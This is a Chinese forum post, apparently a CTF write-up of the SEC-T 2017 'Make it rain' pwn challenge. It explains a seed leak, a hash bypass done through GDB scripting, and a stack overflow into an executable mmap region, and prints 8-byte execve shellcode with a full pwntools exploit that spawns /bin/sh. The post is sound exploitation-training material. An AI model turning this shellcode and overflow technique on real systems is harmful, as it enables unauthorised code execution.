首页
社区
课程
招聘
[原创] 如何在pwn题中更有效地使用GDB
2017-12-15 14:33 10983

[原创] 如何在pwn题中更有效地使用GDB

2017-12-15 14:33
10983

Make it rain

0x00 前言

【时间】2017.9

【出处】SEC-T CTF

【类型】PWN

【分值】250

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

0x01 漏洞分析

 

程序功能简单,在开始的时候会要求输入Username,之后就会打印出菜单。

1) Change user 可以修改 Username

2) Make it rain 会要求验证一串hash值,验证通过可以再进行一次输入(栈溢出),验证没通过就直接exit

3) Exit exit()

 

 

main中只有四个函数

 

init()

 

/dev/urandom读取四个字节的随机字节组成一个int变量rand_data,保存位置在bss上,而且紧挨着username

 

 

而在输入username的时候我们可以输入9个字节,我们输入八个字节的话就可以在打印username的时候泄漏出rand_data的值了。

 

而之后的srand()又是以rand_data作为种子,所以之后的rand()的值就是可预测的了。

 

login()

 

这里就是进行第一次的username的输入了,观察到可以输入九个字节,而且没有加上'\x00'截断。

 

create_secret()

 

 

首先创建一片内存映射区域,并且是可读可执行的,只有在往里面写入数据的时候才改为可读可写,之后又改回可读可执行。

 

它这片区域固定地从0x40000开始,并且长度为0x30D40个字节。

 

开头的前九个字节是输入的username,后面的数据则全部是由rand()生成的随机数。

 

menu()

 

 

这里就是主循环的地方了,主要的就是一个函数make_it_rain()这个函数下面有两个函数

 

 

verify_secure_hash()负责生成hash值和验证输入是否与hash值相等

 

 

而这串hash的生成主要就是和secret指向的username的值以及后面的随机数有关。

 

如果这里验证成功了,就可以进入withdraw函数,验证失败就exit()给你看。

 

withdraw()

 

 

这里就可以进行栈溢出了。

0x02 思路

程序除了canary,其他保护全开,但是程序刚开始创建的那片mmap区域是可执行的,而且刚开始的九个字节可控。

 

所以我们首先要控制username的9个字节作为可以正常开启shell的shellcode,然后控制rip跳过去执行就可以了。

 

所以总体思路如下

将9个字节以内的shellcode作为username进行输入。

在进行hash验证之前计算出正确的hash。

栈溢出,控制rip到0x40000

0x03 shellcode

什么样的shellcode可以控制在9个字节以内?

pop rax
push rsp
pop rcx
pop rdx
push rsp
pop rdi
int 0x80

这里一共八个字节,只要控制好栈上的内容,这串shellcode就是有效的。

0x04 hash

如何计算出hash?

 

我对sha256并不是很熟悉,所以我选择让程序本身帮我完成这件事。

 

由于最后的hash值主要和rand_data和username有关,而这两个变量,一个是我可控的,一个是我可以泄漏的。

 

于是我在攻击服务的同时,再在本地将程序的文件载入GDB,并且使这两个进程的以上两个变量的值相等,那么它们最后的hash就是相等的。

0x05 EXP

#bank.py
#!/usr/bin/python
from pwn import *
#------------------------Setting----------------------
EXCV = './bank'
HOST = ''
PORT = 
context(log_level='debug')

e = ELF(EXCV)

LOCAL = 1
REMOTE = 0
if LOCAL:
    io = process(EXCV)
    libc = e.libc
if REMOTE:
    io = remote(HOST,PORT)
    libc = ELF('libc-2.23.so')
#------------------------Data-------------------------

shellcode = asm("pop rax; push rsp; pop rcx; pop rdx; push rsp; pop rdi;syscall;",arch='amd64',os = 'linux')
pad_len = 0x10+8
rip = 0x40000

#------------------------Function---------------------

def leak_seed():
    io.recvuntil('Username: ')
    io.send(shellcode)
    io.recvuntil(shellcode)
    seed = u32(io.recv(4))
    return seed

#-----------------------------------------------------

seed = leak_seed()
io.success('seed :'+hex(seed))
fp = open("seed.txt",'w')
fp.write(str(seed))
fp.close()
#gdb.attach(io)

argv = ['gdb','-x','./bank_gdb.py']
p = process(argv)
p.recvuntil('Username: ')
p.send(shellcode)
p.recvuntil('#> ')
p.sendline('2')
sleep(1)#wait gdb run till dump the data to file.
p.kill()

fp = open("result.txt",'r')
secure_hash = fp.readline()
fp.close()

io.recvuntil('#> ')
io.sendline('2')
io.recvuntil('Please enter your secure hash: ')
io.send(secure_hash)

io.recvuntil('withdraw?: ')
payload = '\x00'*pad_len
payload += p64(rip)
payload += p64(0x3b)
payload += p64(0)
payload += "/bin/sh\x00"
payload += "end"
io.send(payload)

io.interactive()
#bank_gdb.py
import gdb
import sys
import os

def cmd(cmd,to_string=True):
    return gdb.execute(cmd)


fp = open('seed.txt','r')
data = fp.readline()
seed = int(data)
fp.close()

cmd('file ./bank')
#create_secret = 0x55555555510b
cmd('b *0x555555554c56')
cmd('b *0x55555555510b')
cmd('run')
cmd('set variable rand_data='+str(seed))
cmd('c')
#cmd('set {long long}&username=0x6161616161616161')
cmd('b *0x555555554ed2')
cmd('c')
#cmd('b sha256_final')
cmd('dump memory ./result.txt 0x7fffffffdaa0 0x7fffffffdae0')
cmd('quit')

这里只使用了execute()方法,不过应对简单的使用场景是足够的,更多有关于gdb的python接口信息可以查看gdb官方文档。
个人博客:www.reversing.win


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
  • bank (17.55kb,29次下载)
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 47
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
沈园 2017-12-15 15:51
2
0
pwntools里有gdb的函数可以用,测试exp还是不错的
游客
登录 | 注册 方可回帖
返回